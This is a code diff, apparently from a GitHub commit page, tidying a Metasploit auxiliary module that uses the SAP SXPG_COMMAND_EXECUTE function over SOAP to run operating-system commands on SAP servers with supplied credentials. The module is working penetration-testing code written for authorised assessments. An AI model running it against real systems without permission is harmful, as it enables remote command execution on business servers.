6
6
##
7
7
8
8
##
9
- # This module is based on, inspired by, or is a port of a plugin available in
10
- # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
11
# http://www.onapsis.com/research-free-solutions.php.
12
- # Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
13
# in producing the Metasploit modules and was happy to share his knowledge and
14
- # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
- # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14
+ # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
+ # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16
16
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17
17
##
18
18
@@ -27,11 +27,11 @@ class Metasploit4 < Msf::Auxiliary
27
27
def initialize
28
28
super (
29
29
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE' ,
30
- 'Version' => '$Revision' ,
31
30
'Description' => %q{
32
- This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP) to execute OS commands as configured in SM69.
31
+ This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP)
32
+ to execute OS commands as configured in SM69.
33
33
} ,
34
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com' ] ] ,
34
+ 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/ ' ] ] ,
35
35
'Author' => [ 'Agnivesh Sathasivam' , 'nmonkee' ] ,
36
36
'License' => BSD_LICENSE
37
37
)
@@ -42,10 +42,10 @@ def initialize
42
42
OptString . new ( 'PASSWORD' , [ true , 'Password' , nil ] ) ,
43
43
OptString . new ( 'CMD' , [ true , 'Command to be executed' , nil ] ) ,
44
44
OptString . new ( 'PARAM' , [ false , 'Additional parameters' , nil ] ) ,
45
- OptEnum . new ( 'OS' , [ true , 'Target OS' , 'ANYOS' , [ 'ANYOS' , 'UNIX' , 'Windows NT' , 'AS/400' , 'OS/400' ] ] ) ,
45
+ OptEnum . new ( 'OS' , [ true , 'Target OS' , 'ANYOS' , [ 'ANYOS' , 'UNIX' , 'Windows NT' , 'AS/400' , 'OS/400' ] ] )
46
46
] , self . class )
47
47
end
48
-
48
+
49
49
def run_host ( ip )
50
50
os = datastore [ 'OS' ]
51
51
data = '<?xml version="1.0" encoding="utf-8" ?>'
@@ -75,10 +75,10 @@ def run_host(ip)
75
75
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
76
76
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
77
77
'Authorization' => 'Basic ' + user_pass ,
78
- 'Content-Type' => 'text/xml; charset=UTF-8' ,
78
+ 'Content-Type' => 'text/xml; charset=UTF-8'
79
79
}
80
80
} , 45 )
81
- if ( res and res . code != 500 and res . code != 200 )
81
+ if res and res . code != 500 and res . code != 200
82
82
# to do - implement error handlers for each status code, 404, 301, etc.
83
83
print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
84
84
return
@@ -93,7 +93,7 @@ def run_host(ip)
93
93
'Indent' => 1 ,
94
94
'Columns' => [ "Output" , ]
95
95
)
96
- response = res . body
96
+ response = res . body if res
97
97
if response =~ /faultstring/
98
98
error = response . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
99
99
sucess = false
@@ -103,17 +103,16 @@ def run_host(ip)
103
103
saptbl << [ output [ i ] ]
104
104
end
105
105
end
106
- rescue ::Rex ::ConnectionError
107
- print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
108
- return
109
- end
110
- if success == true
111
- print ( saptbl . to_s )
112
- end
113
- if sucess == false
114
- for i in 0 ..error . length -1
115
- print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
116
- end
106
+ rescue ::Rex ::ConnectionError
107
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
108
+ return false
109
+ end
110
+ if success
111
+ print ( saptbl . to_s )
112
+ elsif !sucess
113
+ 0 . upto ( error . length -1 ) do |i |
114
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
117
115
end
118
116
end
119
- end
117
+ end
118
+ end
0 commit comments